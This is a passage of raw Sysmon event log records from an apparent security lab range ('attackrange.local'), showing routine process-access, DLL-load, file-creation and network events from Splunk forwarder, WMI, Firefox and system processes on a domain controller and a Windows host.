Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000055563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.722{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.604{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=040EA4DAA15FC8F59EDF01B7A3AF5B76,SHA256=B1E640589F61E74BBAD6B72634517903AEBEA3A4B84654A5B40F2FDB79D13021,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:21.195{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85D2455985900FB54CAE9FE3D74F25D9,SHA256=1E58933D5D24C9CDF1262B2492DCDC4FDF5F529F60EF0BB6862CDE9C5D6C732A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.083{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=778F06D5F10EFD9524FEF34C3B6FCEA3,SHA256=6497C384E1FA8B1D5F5866EC33ACD1546DA6405884454EFDAFBBCA5949635807,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:22.850{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2EBDE3E1D87C49855D0AB9F80973ADA9,SHA256=CD2BE3B6314DA83E0BBAB7D0F83C05584D6A5F65E8BC93F2E86573AFF55F901E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:22.850{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=187075CE0DE32F8AC1EC3D564F2AAEBA,SHA256=46F3A3B4D821D15AED4B97EC5BA1488F1AAB8136D82350BDADE5BD1169BAE931,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:22.227{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BDF7CEBD02A56C3F9D319748CAA6F6FB,SHA256=124053DDD555C7CA74729AAA10CCB1B2DBE6EA61F68B5C55E1CCAE5B8BFE2A58,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:23.866{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CFCB3CA725D0648793BEDF34DA20079,SHA256=F500BAA70FE8843F67A0580AA31FC4384C4A4FC4D65D04E767394D9E05FD4D03,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:23.824{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-051MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:23.274{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A399AB657B18D59783587CFB3C04DA0,SHA256=1F0344D3F64CE3F6B28CB37D997A56A2AF6C67BB88B254EB1C917E7502B8E91A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:24.837{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-052MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:24.336{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=971B758A9FD5E47C1F687FC6D089C535,SHA256=0415E30145C3FC3CA84B1B71E6038B78B821F49054298B660EF1DCF2EE245744,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000055614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.581{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+6497|C:\Windows\System32\SHCORE.dll+6387|C:\Windows\System32\SHCORE.dll+62fd|C:\Windows\System32\SHCORE.dll+620a|C:\Windows\System32\SHELL32.dll+55a50|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad 10341000x800000000000000055613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.581{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+1c0e5|C:\Windows\System32\SHELL32.dll+55531|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000055612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms~RF39ac09.TMPMD5=C0FE3B89255FA7874A1CD1152C3E4780,SHA256=1E93C4C546034E6AEA054E5F32931C9F60ADEC11C9CB79DD7964C652CC660512,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000055611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.019{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000017760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:24.470{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50381-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:25.353{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75D9A4F3D5213FD772A643A128539772,SHA256=112C906A3032B128F15FE4EA799B779B7C03DC18AD82647013995B0AC38A17B3,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000055659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000055658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 734700x800000000000000055657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000055656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 10341000x800000000000000055655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.564{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000055652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\framedynos.dll10.0.14393.4169 (rs1_release.210107-1130)WMI SDK Provider FrameworkMicrosoft® Windows® Operating SystemMicrosoft Corporationframedyn.dllMD5=F5BCBB0713FF862975B07056D25E166E,SHA256=DBB3B6E35E0FEF5B878DE8C85AF578B51C1C2DB025865354E27394AEA87824B2,IMPHASH=AB84E6F170EE70C2F0F5C709A85E872CtrueMicrosoft WindowsValid 734700x800000000000000055651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000055650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\cimwin32.dll10.0.14393.3297 (rs1_release_1.191001-1045)WMI Win32 ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationcimwin32.dllMD5=35C291C2351E11C928195BFD018A972C,SHA256=CC1655A2CD71118C0197A1A96D47E86C74F58AA6D589B55F77D8C1C12C542BA7,IMPHASH=5CFF0D3EC414472191BC623FB107BCF1trueMicrosoft WindowsValid 734700x800000000000000055649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 10341000x800000000000000055648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-65B2-613B-1600-00000000F001}12965916C:\Windows\system32\svchost.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\W